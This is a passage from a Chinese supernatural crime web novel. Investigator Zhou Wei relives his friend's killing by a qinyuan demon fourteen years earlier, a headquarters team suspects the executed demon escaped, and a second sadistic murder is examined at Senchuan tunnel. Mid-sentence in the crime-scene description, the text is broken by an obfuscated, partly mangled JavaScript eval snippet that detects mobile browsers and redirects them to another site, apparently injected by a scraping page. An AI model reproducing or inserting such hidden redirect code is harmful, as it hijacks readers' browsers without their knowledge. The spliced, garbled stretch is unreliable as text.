那一夜,周纬杀死了那个曾经想要像普通人一样过完一生的少年,把他和猝然离去的挚友一起,埋葬在了漆黑的墓碑下。 “当年还没有‘烛照’系统,异监局虽然知道有妖类犯案,却始终抓不到人,更别说阻止他犯罪了。我去认尸的时候,从阿洺和筱曼的身上感应到了妖力,异监局由此第一次提取到了那个妖犯的妖力残迹。为此,邢叔叔破例允许我全程参与案件侦破,后来妖犯没过多久就抓到了,是一只B级钦原。我参加了那次抓捕行动,押解他去总部那一天,我亲眼看着邢叔叔给他戴上了灵枷。” 周纬依然记得,当时他站在人群中,隔着重重结界与符咒,望向那个男人时的情景。那个男人有一双空洞无神的灰色眼睛,哪怕已经杀死了那么多人,哪怕已经身陷囹圄、形销骨立、即将被押往总部受刑领死,他却依然仿佛不知自己身在何处,一副茫然麻木的样子。 就在被戴上灵枷的那一刻,那个男人突然抬头,望向了他所在的方向。直到那一刻他的眼中依然没有恐惧或懊悔,只是怔怔地看向他,像是在想为什么自己会栽在这样一个孱弱的少年手里。 听说他在被关押期间,还曾经多次提出过要见自己…… 周纬蓦地浑身一颤,猝然睁眼向下望去——李默突然握住了他的手。 原来他的右手攥的死紧,不知不觉间,指甲已经深深陷进了肉里,细细的血流顺着指缝滴落下来。 “……周队。”李默低声轻唤道。 “我没事。”周纬怔然半晌,抬头望向他,无力一笑。 “周队,有一件事,我想要告诉你。”李默看了看他,踌躇半晌,终于还是开了口。 周纬却仿佛已经预料到了他想要说的话:“你是想说,妖类是不会弄错灵力者和普通人的,是么?” 李默犹豫了一下,点了点头。 这其实是超自然界最基本的常识。打通灵脉、觉醒灵力的人,跟普通人是完全不一样的。在妖类的眼中,灵力者和普通人散发出来的气息截然不同,灵力者对于妖类有着极强的诱惑力,尤其是对于某些属性相合的妖类来说,灵力者的存在就有如十全大补丸,或者某种成瘾性极强且有益无害的毒/品。这也是为什么有很多妖类会像那只钦原一样抵挡不了诱惑,甘冒风险屠杀吞噬灵力者。 而凡人则完全不会有这种吸引力,他们在妖类眼中的吸引力,也就跟人类眼中的生猪肉差不多。 所以李默想说,如果那只钦原杀人只为吞噬灵力,那他是不会把陈洺和周纬弄错的。大概率是陈洺和那位名叫陈筱曼的少女中,也有一人觉醒了灵力,只是可能刚刚觉醒,力量还十分微弱,以至于所有人乃至他们本人都还未察觉。而他们死后灵力消散,在周围人都不知道他们已经觉醒了的情况下,自然把他们也都当成了普通人。 所以其实,周纬完全没有必要觉得陈洺之死是自己的责任。这起事件甚至可以说是一起不幸的意外,周纬其实不需要因为幸存者内疚,而折磨自己这么多年。 然而这句话听上去,实在太像一句空洞的安慰了。李默知道周纬恐怕是听不进去的,所以犹豫着要不要说出来。 没想到周纬说:“我知道。” 李默一怔。 周纬笑了:“我好歹也是个监察员,还不至于犯这种常识性错误。后来钦原的供词也证明,他当时选中阿洺是从他身上感应到了灵力,只是阿洺死去之后那种细微的感应就消散了,所以他才没有破坏他们的尸体。” 李默呆愣地看着他:“那你为什么……” “我知道不是因为那只钦原把我跟阿洺搞混了才害死他的,”周纬脸上的笑容逐渐敛去了:“但是李默……一个普通人,是很难觉醒成为灵力者的。” 李默反应了一下他这句话是什么意思,突然心口狠狠地一滞。 “你想到了,是么?”周纬看到他的反应,就知道他已经想明白了:“后天觉醒的灵力者之所以数量稀少,就是因为他们通常需要受到某种刺激或影响,才能觉醒灵力。这种刺激要么就是曾经涉入过超自然事件,接触过妖力……要么就是他们接触过其他灵力者。” “阿洺身边只有我一个灵力者。”他哀伤地笑了笑:“……是我让他觉醒的。” 39.风起 周纬曾经不止一次地想过,是不是他的命运早就已经注定好了。 从他呱呱坠地,被冠以“周”这个姓氏的第一天起;从他冲着人世,发出第一声懵懂无知的啼哭那一刻起,他的人生就已经被刻写在了一座凡人不可见的石碑上。从此之后,命运挥动鞭子驱车前行,而他就是那匹蒙眼的盲马,被身后传来的一声又一声催促驱赶着,在这条早已注定的崎岖小路上颠簸向前。 他不该反抗,不该偏离轨道,更不该试图扭转既定的命运。 他做出了愚蠢的尝试,自以为可以成为命运的主人,命运却夺走了他朋友的生命作为惩罚。 “我是先天觉醒的灵力者,我生来……就是属于那个世界的。” “我其实……一直很混账……我不像阿洺,我胸无大志,只想浑浑噩噩地过完这一辈子。是我太自私懦弱,非要伪装成一个普通人,擅自闯进阿洺的生活……” “如果没有我,他本来永远都不会觉醒,不会遭遇……不会遭遇这种事。他会考上一个很好的大学,跟筱曼一起追求他们的理想。他想成为医生啊……他本来可以救自己,救更多的人……” “他有先天性心脏病,但他平平安安地活了这多年,活到了十七岁,活到了人生最美好的年纪……如果没有我,他本来可以活到二十七岁……三十七岁……他真的很努力地想要活下去……” “还有筱曼,她是家中独女……她去世之后,我一直没敢去见她的父母……她又凭什么遭遇这些呢?只是因为遇到了我吗?” “那为什么老天爷不惩罚我呢?”周纬茫然地看着李默:“为什么死的不是我呢?” 李默的心好似突然被人一刀捅穿。 他根本来不及思考,身体就已经下意识地采取了行动。平素的那些想法和顾忌刹那间全都被抛诸脑后,李默猛然倾身,一把将周纬拉到了怀里,一只手将他紧紧压入怀中,另一只手按住他的后脑,将他的头按在了自己的肩膀上。 “别哭……”他下意识地开口:“周队你……别哭。” 周纬越过他的后背,茫然地望向远方,他抬手抹了一把自己的脸颊……还是干燥的。 他哭了吗?好像并没有。 他所有的眼泪,好像都已经融化在十四年前的那场大雨里了。 李默仿佛感同身受,他的身体剧烈地颤抖着,拥抱周纬的力气如此之大,像是害怕他下一秒就会消失在自己怀里,嘴里混乱地道:“我不能……我不能……” 不能什么?他也不知道。 他只是觉得胸口剧痛,深深地垂下头来,不能言语。 良久,周纬才终于抬手,轻轻拍了拍李默的后背,缓缓推开了他。 他直视着李默,面色仿佛已经恢复了平静:“放心吧,我不会寻死的。” 李默痛苦地望着他。 “我这条命,亏欠了太多人,我没有资格轻易去死。”周纬平静地望向墓碑上的少年:“阿洺、筱曼,还有其他人……哪怕要死,我也会死在监察一线上,赎完了我的罪,我才有脸下去见他们。” “我是先天灵力者,生来就注定该走这条路,既然老天爷已经用这种方式告知了我的命运,我就会在这条路上不回头地走下去。” “直到……直到他们原谅我的那一天。” 李默望着周纬的侧脸,久久说不出话。太阳已经渐渐西沉,落日余晖的灿烂晚霞映在周纬身上,让他仿佛披上了一层霞衣一般,浑身裹着一层恍然不在人世般的微光。 风过四野,宁静的墓园里再无他人,唯有墓碑上的少年依然安详地微笑着,澄澈的目光仿佛能安抚所有不得解脱的灵魂。 * 与此同时,珑湖市局附近的一家酒店里。 这里是政府部门统一进行公务接待的酒店,装潢设施还算不错,环境清幽,隔音良好,非常适合谈些不宜为人所知的事。 楼上的一间房间里,杨小钱推门而入,双手抱头枕在脑后:“老大,到点儿了,下去吃饭?” 然后他就见季凌云和申彦雪正坐在桌前,两人面色都是同样的严肃,一眼不眨地盯着笔电上的一张图片。 正是周纬他们截图的那张加油站监控视频。 “诶?雪姐也在?”杨小钱凑过来伸头探脑:“老大,你们怎么还在看这个?” 季凌云道:“我们正在讨论,周纬今天所说的话有多少可能性。” 杨小钱:“哈?” 他用一种“傻了吧?”的眼神,看看季凌云又看看申彦雪,一颗脑袋在两人之间转来转去。然而这两人脸上丝毫看不出开玩笑的意思,季凌云道:“周纬是十四年前那起案子的亲历者,他对那起案子的妖犯怀着深仇大恨,对他的印象应该比别人要深刻得多。也许他确实能通过一个剪影认出当年的妖犯呢?” “不是吧,老大,你真的怀疑是总部放跑了这个妖犯,还伪造了他已经被处决的事实?”杨小钱匪夷所思道:“你不是说周纬是执念太深魔障了吗?他这明显就是负罪感太重把自己压垮了,出现了妄想症啊?” 然而申彦雪打断了他:“小钱,你知道珑湖市局近三年来,外勤干员的年均伤亡率是多少吗?” 杨小钱一愣:“多少?” “4.7%。”申彦雪推了一下眼镜,肃然道:“在全国近百家地方分局中,只要珑湖市一家单位,将年均伤亡率压到了5%以下。” “什么?”杨小钱顿时瞪大了眼睛。 “但这不可能啊!”他满脸的难以置信,一头刺猬似的乱毛都翘了起来:“雪姐,你不是搞错了?我每年年底都帮总部统计各家分局的伤亡战损情况,如果珑湖市局真是这个样子,那我不可能没见过他们的名字啊!每年伤亡率最低的前三名都会受到总部通报嘉奖的!” “因为你说的是每年一次的总结,我说的是三年年均。”申彦雪鼠标连点,在笔电上调出了一张庞大复杂的表格,上面不同年份不同数据都用各种颜色标注了出来,简直像是在电脑上铺开了一张全地形地图般,居然同时做到了既井井有条又让人眼花缭乱。 申彦雪再次推了推眼镜,以一种学术研究般严谨肃然的语气开了口:“总部统计各家分局的伤亡率,是以一年和五年为一个时间节点,而珑湖市局四年前发生了一场大案,那一年伤亡率排名是垫底的。也正是从那起案子之后,周纬才担任了珑湖市局监察队长,到今年为止,刚好经过了三年结算。” 她用鼠标点了点屏幕上的几项数据,将它们高亮标注出来:“看这里。这三年来,珑湖市局年来虽然每年年底总结的时候都不太突出,却从来没有掉出过前五。我看了一下,自周纬接管珑湖市局以来,这四年珑湖市的外勤干员虽然上报过大小轻伤、重伤,但一个因伤致残、病退和死亡的都没有。三年多来,珑湖市局外勤部队从来没有出现过因伤减员的情况,整个市局监察员的平均年龄都因此被拉高了1.2岁。” 杨小钱倒吸一口凉气。 异监局的伤亡率有一套复杂的计算公式,根据每年在任务中受伤程度不同的人数乘以不同的系数,相加之后再与整个市局编制在册总人数做除算,影响因素有很多,其中最大的自然就是“因伤致残”和“死亡”两项。 总部搞这个伤亡率统计,是为了尽可能压低外勤干员过高的战损比。然而外勤干员长期奋战在与超自然生物战斗的第一线上,哪有可能不伤损。有的时候哪一年运气不好撞上个大案,哪怕队员中有一人死亡或者重伤致残,整个市局的排名立刻都会产生极大变动,可能今年第一明年就会跑到五十开外,所以根本没有人把这个排名往心里去。 然而连续三年不出前五,三年年均伤亡率不到5%…… 这个含金量可太高了, 季凌云面色凝重地总结道:“这不是一个执念深重、臆想成魔的队长能带出来的队伍。” 杨小钱:“……” “可他没疯,不代表他在钦原这件事上就是对的啊!”杨小钱难以置信道:“老大你看看,就这么个模糊剪影,到底能看出什么来?这画面模糊得比座机质量还不如呢!根本看不清脸啊!” 季凌云转向了电脑上的那张照片,陷入沉吟。 他忽然道:“以你的技术,可以把这张照片尽量变得清楚一点吗?” “这倒是简单。”杨小钱正色道:“但是老大,可别说我没提醒过你,这张照片只是加油站一个普通摄像头拍下来的,而且还是倒映在车窗防窥膜上的一个倒影,用技术手段再怎么处理,想看清脸也是不可能的。这可不是我技术不过关。” 说罢,他直接将申彦雪手上的电脑拖了过来,双手噼里啪啦一顿操作,随后重重一敲回车,图片立刻从上到下刷新,照片上那个影影绰绰的轮廓果然稍微清晰了一些。 杨小钱把电脑一推:“看吧,我就说看不清。” 然而季凌云脸色一变。 他将那张照片放大,指着那个人形轮廓道:“你们看他手上,是不是拿着东西?” 杨小钱和申彦雪对视一眼,两人同时凑到近前。经过技术处理之后的照片人形轮廓果然更加鲜明了一些,只见那是一个脚尖点地、在房顶上飞奔的人影,因 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“如果真的发生过了妖犯‘死而复生’这种事,”季凌云脸色阴沉,宛如山雨欲来:“就说明总部执行局……不,整个总部高层之中,已经有人‘不干净’了。” 这句话仿佛一句不详的谶语,顺着微开的窗户飘了出去,流入夜风,飘入了渺远的夜幕之下,消散在珑湖市平静的万家灯火之中,即将卷起一股又一股涌动不息的暗流。 一些悲剧的序幕已经拉开,一些人的命运也已悄然更改。 宛如高山之巅滚落下一颗细小的石子,在翻滚、碰撞、坠落途中,撬动了无数更多、更大的山岩—— 一场蓄谋已久的山崩正在发生。 男人在高耸的楼宇之间敏捷地跃动,每次触地不足半秒,却能骤然跃出几十米之远。他浑身像是脱离了重力控制,倏忽跳跃之间,几乎在夜幕中融化成了一个一闪而过的阴影。 夜风吹动了他身上那件破旧的斗篷,凌乱的花白长发拂动之下,男人有着一双冷漠的铁灰色眼睛。 他的速度实在太快了,眨眼之间就追上了前方飞奔的人影。 “放手!” 就在他追上那人、手搭上他的肩膀那一刹那,那人猛地转身挥手,“啪”地一下把他的手打落了。 “我告诉过你别拦着我!”那人怒吼道:“你为什么非要碍我的事!” 那竟然是一个少年,穿着一身运动衣牛仔裤,身形是年轻人特有的精瘦,两只拳头因为愤怒而紧紧地攥在身侧,目光中满是怒火。 男人一下子显得有些手足无措。 “我没有要碍你的事……我只是……只是担心你……” “谁要你担心!”少年吼道:“我昨天被绑架的时候你在哪里?如果不是我拼命反抗,现在可能尸体都已经凉了!你这时候再来担心有什么用?” “对不起,我……” “我杀了那三个人有什么错?你为什么不愿意看到我获得灵力?这明明是你曾经答应过我的!” “我只是……” “我不求你支持我,我只求你别妨碍我好不好?”少年的脖颈上青筋蜿蜒而起,目光交杂着愤怒和痛苦,指甲深深掐进了肉里:“你明明知道我有多想……” 男人忍不住上前一步:“对不起……” “别跟我道歉!”少年低吼一声。 男人不知所措地住了嘴,畏缩地看着面前的少年。他明明比少年还高一点,却在他面前显得莫名矮小、卑微而软弱。 少年后退一步,愤恨地看着他,黑发在夜风中飞舞:“你知不知道我最恨你这幅懦弱可怜的样子。” 男人伸出手,似乎是想拉住他,可少年退后得太远了,他够不到,却又畏畏缩缩、不敢上前。 那只手在半空中只抬到了一半,最终还是卑微地落了下来。 “别再跟着我了。好不容易抓到了机会,我不可能再放弃。”少年冷冷道:“今夜我会再杀一个人。我要证明给你看,没有你,我自己也能做到。” “我……”男人张了张口,像是想要说些什么。 然而少年已经转身,头也不回地离开了。他仿佛冯虚御风,整个人漂浮而起,在夜幕下迅速朝远方掠去,很快消失在了夜幕中。 留下男人独自站在天台孤冷的寒风里。 “可是……可是我不想让你成为……我的样子。” 他站在天台边缘,喃喃地说完了这句无人听到的话。 一行眼泪从他铁灰色的双瞳里流了下来,他闭了闭眼,泪滴从面颊上滚落,在布满灰尘的天台边缘,砸出了一个小小的、寂寞的瘢痕。 40.玩弄 夜幕低垂,路虎行驶在返回市区的路上。 “说起来,这个案子有个很大的疑点。”周纬话说了一半,突然一愣。 他发现自己不知何时,竟然养成了对着李默讲述自己破案思路的习惯——李默实在是个非常好的听众。他虽然大多数时候不说话,但目光却总是非常专注,给人一种“一心只在你身上”的感觉,而需要他给出反应的时候,他也从来不会让话题断掉。有这么一个“说话搭子”,周纬甚至觉得自己跟他聊案子时,思路都变清晰了,个中滋味实在舒适。 “这个案子明明是灵力者犯罪,钦原为什么会出现在现场?”周纬道:“他跟这起案子有什么关系?” 李默道:“会不会是偶然?” 周纬沉思片刻,摇了摇头:“不,不会是偶然。” “首先,如果钦原只是碰巧出现在那里,被摄像头偶然记录了下来,那他就跟这起案子完全没关系了。如此一来,侦破仓库杀人案将对我们找到钦原毫无帮助,我们不能往那个方向想。其次,钦原当时明显是一个飞奔而过的姿势。大半夜的出现在那种废弃仓库周边,还一副赶时间的样子,我不觉得这会是个巧合。” “还有最重要的一点。”周纬说到这里,稍微顿了一下。 他的声音略微低沉了下来:“钦原十四年前犯案,就是因为屠杀灵力者。而这次,在距离他那么近的地方,有一个灵力者暴起杀人,所产生的灵力波动无论如何也不可能被他忽略。哪怕他因为被捕过一次,行事谨慎了很多,但有灵力者在附近爆发战斗,他难道会无动于衷,甚至都不过去看一眼吗?我觉得可能性很小。” “你的意思是,哪怕钦原一开始不是冲着那个灵力者去的,但他也会因为爆发的灵力波动,被吸引到案发现场。”李默突然想到了什么似的,倏然一愣:“等等,如果是这样的话,他岂不是会跟那个灵力者正面相遇?” “是的。”周纬点了点头:“但是在现场,我们并没有发现任何妖力残迹,也就是说他们两人并没有发生任何冲突。这有两种可能,一种是那名灵力者实力强大,让钦原产生了忌惮之心,示弱退走;但更大的可能是……” 他话音一顿,与此同时,李默接了上来,两人异口同声: “——他们认识。” 这份心有灵犀顿时似乎将两人都逗乐了。周纬微微翘起嘴角,李默的眉眼也柔和了下来。 “这么说钦原很有可能跟那个灵力者是认识的。”这一次,李默主动接过了话头,继续道:“会是他十四年前被捕之前的旧相识吗?还是他被捕逃脱之后的才认识的人?” 周纬沉吟片刻:“我觉得是后者。” “说实话,十四年前的钦原,虽然已经是成人姿态了,但我始终觉得他社会化程度不高。”回想起过往情景,周纬的眼神又不自觉地沉郁下来,面色也低沉了几分:“他能在短短一月之间连杀数人,说明他缺乏对人类世界规则的基本认知,毫无敬畏心和同理心,而且也不怎么聪明的样子——毕竟是个脑子正常的妖类,都知道这么大张旗鼓地杀人吃人是一种傻叉行为。” “如果当时他就有相熟的人类灵力者,应该不会放任他失控到这种程度。” 李默点了点头:“这么说可能是他从总部逃脱之后才遇到的人——会不会他能从总部逃脱,也跟这个人有关系?” “那就无从推断了。”周纬道:“只能等抓到这个人再说。不过就算他能逃狱跟这个人无关,他在这十四年间也必定跟这个人关系匪浅。毕竟逃犯可不是那么好藏的,就算他在官方那里已经被宣布‘死亡’,他的动向肯定也不可能大张旗鼓。这十四年他在哪里?做了什么?是谁给他提供了必要的生活来源?谁帮助他在社会中藏匿身份?这些都很有很可能跟那个灵力者有关。” 周纬目光冷如寒铁:“找到他,我们就能知道这一切的答案。” 就在这时,仿佛要回应他的话似的—— “叮铃铃……”一阵突如其来的铃声,周纬的手机震动了起来。 周纬和李默对视了一眼。周纬立刻道:“我在开车,你来接。” 李默也不废话,从周纬的裤子口袋里掏出手机,按下接听键:“喂?” “喂……诶?”何昭华的一个“喂”字说到一半就变了腔调,活像点着尾焰上了天:“李默?你怎么接周队的电话?” “我跟周队在一起,正在回市局的路上,他在开车不方便接电话。”李默彬彬有礼道:“何副队,发生什么事了吗?” “哦哦……”何昭华显然没反应过来这个点钟他们俩人为什么还在一起,然而现在也不是纠结这个问题时候,只听他语气凝重道:“那刚好,你们别回市局了,直接来森川隧道这边吧。” “‘烛照’捕捉到了那个灵力者的灵力波动,第二起案子发生了。” 森川隧道位于珑湖城郊,出了隧道就可以上国道,周边是大片山地与荒野,离隧道最近的一个工业园区都在十公里开外。 案发现场并不在隧道附近,而是在隧道以北三公里左右,正在山脚下。 周纬跟李默赶到的时候,发现现场居然已经来了一帮不速之客,而且似乎还发生了争执。 只见警戒线前,一名监察员拦住了季凌云三人,说什么都不让他们进去。周纬他们到达的时候,刚好听见杨小钱气急败坏地喊了一句:“你不知道我们是谁吗?!” “不知道?我可太知道了。”那名监察员冷笑一声:“你们这帮总部来的不是来查灵力黑货案的吗?这个案子跟灵力黑货案有半毛钱关系吗?你们凭什么来横插一脚?” 杨小钱顿时一噎。 这话说得还真挑不出毛病。调查组三人虽然是总部派来的“钦差”,但也不能在珑湖市横行无忌。确切来说,他们的调查权限仅限于灵器黑货案范围内,对珑湖市局的其他案子和日常工作是没有资格置喙的。如今珑湖的监察员坚持不让他们进案发现场,不仅合规合理,甚至还非常符合季凌云一贯的“泾渭分明、公事公办”的做派。 强龙不压地头蛇就是这个道理。纵然调查组有总部给的权限,假如珑湖市局不配合,他们也只能四处碰壁。 杨小钱和申彦雪对视一眼,都有些无奈,知道这是因为自己组长太过“棒槌”得罪了人家,遭了报应了。 正在几人争执不下的时候,那小监察员忽然一抬头,立正道:“周队。” 调查组三人转身回头,只见周纬跟李默正朝现场这边走来。周纬现在对调查组三人更是没有半分好脸色,双手插兜道:“你们在这儿干什么?调查组这是打算跟珑湖市局抢案子吗?” 他语气不善,调查组当然也有人不惯着他,果然杨小钱立马哼了一声:“你说话客气点儿,对你的调查还没结束呢,谁允许你接案子了?” 然而他话音刚落,还没等周纬反唇相讥,就被季凌云一把拉了回来。 季凌云正色道:“周队,我想跟你单独谈谈。” 周纬冷笑:“你跟我这个’执念成魔障’的人有什么好谈的?” 季凌云道:“是关于钦原的事。” 周纬一愣。 他想了想,跟李默对视一眼,顺势给他使了个眼色。李默会意地点了点头,走到了一边——这个距离不近不远,不会引起别人怀疑,但却又刚好足够李默听得见周纬他们的对话。 见到李默离开,季凌云单刀直入道:“我们重新分析了周队你提供的监控影像,承认那个剪影确实存在是钦原的可能。” 周纬“呵”了一声:“怎么?那不是我的’妄想’吗?” “我只是说‘可能’,目前还并没有找到那个人就是钦原的真凭实据。”季凌云认认真真地道:“我个人仍旧倾向于他不是,但是如果真的发生了有人伪造妖犯死亡证明、助其脱狱这种事,说明总部执法部门出现了极大的管理漏洞。我作为总部执行局一员,不能置之不理,所以我希望能尽量查清真相,排除这种可能。” 周纬听出了他的言外之意:“这么说,你想参与调查这起案子?” “是。”季凌云直截了当:“那个人影不管是不是钦原,肯定都与仓库案和这次隧道案关系匪浅。只要能查清这两起连环案件,找到那个人,是不是钦原就可以水落石出了。” 周纬有些意外地看着他。 他倒不是惊讶于季凌云跟他思路一致,这一点但凡有些破案经验的人都能想到——他是惊讶于季凌云的态度。 季凌云从露面开始,就一直是一副油盐不进、公事公办的态度,这在公职部门中委实很少见。公职部门的人,不管内心有多么刚直,至少外表上总会带点八面玲珑的圆滑——周纬自己就是典型例子。只要有这个需要,他可以在内心写一篇论文问候对方全家,同时脸上还亲亲热热地管人家叫“兄弟”。 在这种情况下,季凌云这种毫不通融、死板固执,动不动把“规定”“职责”挂在嘴边的做派,看起来就很像故意来找茬的了。 周纬原本以为,季凌云作为总部行动二处的副处长,实打实是执行局的人,可能是为了削弱灵器黑货案对执行局的影响,是来故意找珑湖市局的麻烦的。然而看他此时这番做派,却又不太像。 因为如果钦原的事查实,遭受打击最大的还是总部执行局,如果季凌云真的有意跟珑湖市局作对,只要一口咬定那个人影不是钦原即可,作为总部派下来的“钦差大臣”,他能给珑湖市局使绊子的方法简直不要太多。 但他现在不仅不阻挠办案,甚至主动提出要参与到案件调查中来…… 周纬看向季凌云的目光不知不觉地多了点变化。 沉吟片刻,周纬点了点头道:“季组长既然要参与调查,珑湖市局当然可以配合。只是希望我们双方就算不能通力合作,至少也不要相互掣肘。” 季凌云道:“那是自然。” 双方这就算达成初步共识了。 于是周纬对那把守警戒线的监察员一点头。那监察员这才不情不愿地把警戒线一举,让开了路。 这次的案发现场还是一如既往地具有视觉冲击力。死者被困在一辆沃尔沃牌SUV里,整个儿从山坡上冲了下来——从车辙痕迹来看甚至连冲了三次,像是坐上了跳楼机似的。这台号称安全领域“活化石”的汽车果然没有辜负它的显赫声名,从垂直落差数十米的地方摔下来,竟然只是把车头撞了个粉碎,车身整体框架居然还保持了基本完好。 然而人不是汽车那样的钢筋铁骨,经历了这样的激烈碰撞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116549|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不当场死亡已经属于万中无一的幸运儿了——只是这位“幸运儿”显然幸运得不够彻底。 凶手见三次都没能把他撞死,于是将他从驾驶座上拖了下来,当场给他来了个开膛剖腹,曝尸荒野。 又砸烂了他的脑袋。 之后凶手像是终于想起来了毁尸灭迹这回事,于是点着了沃尔沃的油箱,将尸体一整个儿扔了进去。等到异监局接警赶到的时候,看到的就是一辆熊熊燃烧的汽车,以及里面已经被烧得残缺不全的尸体。 周纬绕着这触目惊心的案发现场走了几圈,越走眉头蹙得越紧,直到李默终于看不下去了,主动走过来问他:“有什么发现?” 周纬摇了摇头:“不是发现,是疑点。” “这个灵力者应该是土属性,能力类似于重力控制。”周纬道:“他把受害者连人带车直接从三公里外的森川隧道公路上抓了过来,用的是空中移动之类的方式,所以周边没有留下移动痕迹。估计也是因为这个原因,他第一次在滨海北路仓库杀人时,地上明明有大片血迹,却没有留下他的任何脚印。” 李默言简意赅地总结:“他会飞。” 周纬点了点头,接着道:“但是有个问题。他这两次犯案,杀人方式都非常狂暴。第一次是将受害者暴力碾压成了肉泥,第二次则是先把他连人带车从山上摔了下来,然后再下杀手——但他如果要受害者的命,直接把他从车里拖出来摔死岂不是更方便?为什么要这么大费周章?” “为什么?”李默一愣。 周纬抬头看着他:“你见过猫捉老鼠么?” “猫捉到了老鼠,不会立刻吃掉,会团在爪子中间拨弄来拨弄去,甚至还会故意放走老鼠,等它跑出一段距离,再一口咬住叼回来——对猫来说,这是一种‘乐趣’。”周纬面色阴沉。 “试想一下,如果你是受害人,突然被一种无法理解的力量从隧道口攫住,带来这片荒无人烟的地方,然后对方抓着你不断升高,升高,你憋着一口气,心脏跳得仿佛要爆炸,紧紧抓着胸前唯一的救命的安全带,直到到了某个临界点,身体突然飞速下坠——‘砰’!” 连李默都被这绘声绘色的描述吓了一跳。 “多亏了这辆车的安全性能,你侥幸未死,虽然头晕眼花,全身剧痛,却好歹逃过一劫。然而你甚至还没来得及庆幸,就感觉自己在一阵吱嘎声中缓缓升起,眼看着第二次撞击就在眼前,而你却已经只能抓着安全带放声尖叫,在无比的恐惧和崩溃中迎来注定的死亡——” 李默倒吸一口冷气:“凶手不让受害者离开车,是因为不想让受害者死……不想让他那么快死!他是在玩弄‘猎物’!” “是。”周纬的目光扫视全场,面色凝重:“凶手与受害者之间必定存私人恩怨。如果说他第一次在滨海北路仓库杀人,还只是为了取人性命含怒一击,将那三人顷刻压碎,没给他们造成什么痛苦,那这次在森川隧道的袭击,就是一次有预谋、有目的的虐杀。凶手完全就是冲着受害者来的,杀人过程漫长,手段的残忍和恶劣程度都出现了极大升级。” “这说明凶手越来越适应‘杀人者’这个角色,也越来越游刃有余——简而言之,他‘进化’了。” 李默的神色也担忧起来:“……可是这才不到二十四小时。” 周纬脸色阴沉地点点头。 现代社会,哪怕是杀人犯,也很少有能对“杀人”这种事那么司空见惯、习以为常的。一般人杀人之后,总会陷入一段时间的焦虑、崩溃、恐慌和迷茫之中,因为从心底里知道自己做了一件多么罪恶的事,会本能地害怕由此带来的代价。 然而从废弃仓库案案发到现在,短短不到二十四小时,凶手居然又犯一案,而且能做到这种跨越式升级…… 如果不是开膛手杰克之类的亡魂复生夺舍了,那只能说明此人委实于杀人一道上——天赋异禀。 这居然是个天生的杀人者。 “你是担心他还会继续犯案?”李默看向周纬。 “我几乎可以肯定他还会继续犯案。”周纬道:“这种人尝到了暴力屠杀的快感,现在正是上头的时候,是停不下来的。我们必须在他造成更大伤亡之前尽快阻止他。” “但同时,这也带来了一个问题。” 周纬蹙眉道:“一般暴力上头的人,脑子都是不怎么清醒的。他们会沉浸在掌控他人生命的残忍快感中,大脑被过量的肾上腺素和多巴胺所掌控,全情投入地宣泄暴力,失控有疯狂。这种反而不是犯罪的最佳状态,因为杀人最重要的是简洁、高效、一击致命,这样才能尽可能少地留下线索,减少自己被暴露的风险。” “这个凶手显然没有这份意识,他杀人纯属为了报复和宣泄,做了很多没必要的事。但是两次犯案,他都有事后清理现场的行为,第一次是放火烧了那辆面包车,第二次更是干脆把车和受害者遗体一起烧了。” “这种冷静、理智,消除线索以阻挠破案的做法,可不像是一个暴力上头、脑子不清醒的疯子能做出来的。” 李默反应过来了:“所以你的意思是……” “要么,这个凶手是个一半理智一半疯狂的人格分裂;”周纬笃定道:“要么就是,他还有个不为人知的共犯。” 41.死结 李默道:“共犯的话,会不会就是那只钦原?” 听上去不是没有可能。十四年前,钦原就是个社会危害性极大的杀人妖犯;十四年之后,他再培养出来另一个连环暴力杀人魔,似乎也没什么不可能的。 然而周纬却迟疑了。 “我记得十四年前钦原的行为模式,他杀人的方式更接近于刺杀,简洁高效,一击毙命,杀完人之后取走自己想要的肢体部分就走,不会搞这些残杀虐杀一样戏剧性的东西。”周纬仍旧很不愿意谈起十四年前的案子,尤其是这样说起钦原,好像显得他对这个妖犯很熟稔似的,他的脸上几乎显露出几分咬牙切齿的神色来,精致俊秀的脸庞些微扭曲。 然而半晌,他最终还是叹了口气,肩膀垮塌下来:“……不对,除非有别的更明确的证据支持,不然我不觉得他参与了这起案子。” 李默也不愿意再逼他回想往事,连忙按了按他的手:“好,那就先把他放到一边,不想了。” 就在此时,季凌云走了过来。 “彦雪和小钱正在辅助技术人员做现场侦查工作,已经提取受害人DNA送检了,快的话明天就能出结果。”季凌云道:“查到这两起案子的受害者身份之后,我会让小钱接入公安数据库,详细整理出受害人的身份资料和社会关系网发给你们,作为案件参考。” 周纬点了点头,忽然想起来什么似的,探身绕过季凌云,望向远处他的两位组员:“说起来,我一直想问,你的这两名下属看起来都很不一般啊?什么来头?” “彦雪比较擅长资料的分析整理、归纳总结,”季凌云介绍道:“小钱在电脑方面比较专精。” “懂了。”周纬总结道:“秘书和黑客。” 季凌云:“……” “彦雪不是我的秘书,她是行动二处的正式外勤干员,”他认认真真地解释道:“小钱也不是黑客,他已经很久不用计算机技术从事违法犯罪活动了。” ——那不就是说曾经真的是个黑客吗?! 周纬抱起双臂,一脸佩服地看着季凌云。他发现真的不能跟季凌云这人开玩笑,这人估计天生就缺一对能听懂玩笑话的染色体。 “行吧。既然有季组长助力,想必案件侦破指日可待了。”周纬懒得再应付这个人,拉着李默就走:“这两起案子应该都是仇杀,查受害者的社会关系是最稳妥的侦查方向,我们静候季组长佳音。” 说罢直接拽着李默离开了现场,一路上了车,路虎霸气的引擎轰然震响,尾气喷薄扬长而去。 * 从森川隧道回到市内还要大约半小时,周纬开到一半,才突然想起来:“诶?你现在住哪儿,我送你回去?” 李默想了想,说出了一个地址。 周纬一听就是一愣——这不是市局附近的一家平价酒店吗? 等等,难道说李默都来珑湖快一个月了,还在住酒店? “你怎么回事?怎么到现在了还没找到房子住?”周纬诧异地看着他:“是找不到合适的房源吗?” 